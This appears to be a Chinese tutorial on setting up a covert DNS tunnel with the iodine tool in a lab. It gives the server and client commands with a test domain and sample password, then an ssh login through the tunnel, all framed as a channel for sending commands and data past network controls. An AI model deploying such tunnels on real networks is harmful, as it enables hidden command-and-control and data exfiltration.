内网DNS隐蔽隧道搭建之iodine工具

iodine

iodine是基于C语言开发的，分为服务端和客户端。iodine支持转发模式和中继模式。其原理是：通过TAP虚拟网卡，在服务端建立一个局域网；在客户端，通过TAP建立一个虚拟网卡；两者通过DNS隧道连接，处于同一个局域网(可以通过ping命令通信)。在客户端和服务器之间建立连接后，客户机上会多出一块名为dns0的虚拟网卡，所有指令数据等均可通过dns隧道进行传输。

目录

iodine

环境搭建

1、域名解析配置

DNS服务器配置

2、工具下载与安装

隧道搭建

1、服务端运行：

2、客户端运行：

环境搭建

1、域名解析配置

DNS服务器配置

可参考这篇文章：

win2003搭建DNS服务器&域名解析方法-CSDN博客https://blog.csdn.net/huayimy/article/details/135391563?csdn_share_tail=%7B:,:,:,:%7D

2、工具下载与安装

Iodine下载地址 GitHub（Kali集成了此工具）：

https://link.zhihu.com/?target=https%3A//github.com/yarrick/iodine

需要单独安装此工具可参考这篇文章，有安装过程

https://zhuanlan.zhihu.com/p/158584490

工具使用

参数：

-4 使用IPv4请求

-6 使用IPv6请求

-f 保持前台运行

-r 强制使用DNS隧道进行传输

-P password

-m 最大传输大小

-M 最大传输长度

-T 传输类型

-O 编码类型

隧道搭建

1、服务端运行：

iodined -f 192.168.0.1 test.dnsc2.com

# IP为用做dns隧道的单独的IP段，可随意写一个

# 域名为使用DNS服务器配置的测试域名，详细可参考这篇文章：

win2003搭建DNS服务器&域名解析方法-CSDN博客

#密码随便写个，在客户端连接时会用到，比如123456

Listening to DNS for domain test.dnsc2.com，服务端开始监听所有 test.dnsc2.com的DNS请求，所有指令数据等均通过请求域名的子域进行传输，此时网卡处会多一个dns网卡。

2、客户端运行：

iodine -f -r 192.168.203.146 test.dnsc2.com

输入的密码和服务端设置的一样，123456

Connected setup complete, transmitting data,客户端运行后，可以发送指令、连接ssh进行数据传输等等。

客户端的网卡处也新增了一个dns的网卡

新开一个窗口，ssh连接一下服务端dns网卡的IP

ssh kali@192.168.0.1

输入服务端的密码，隧道搭建成功了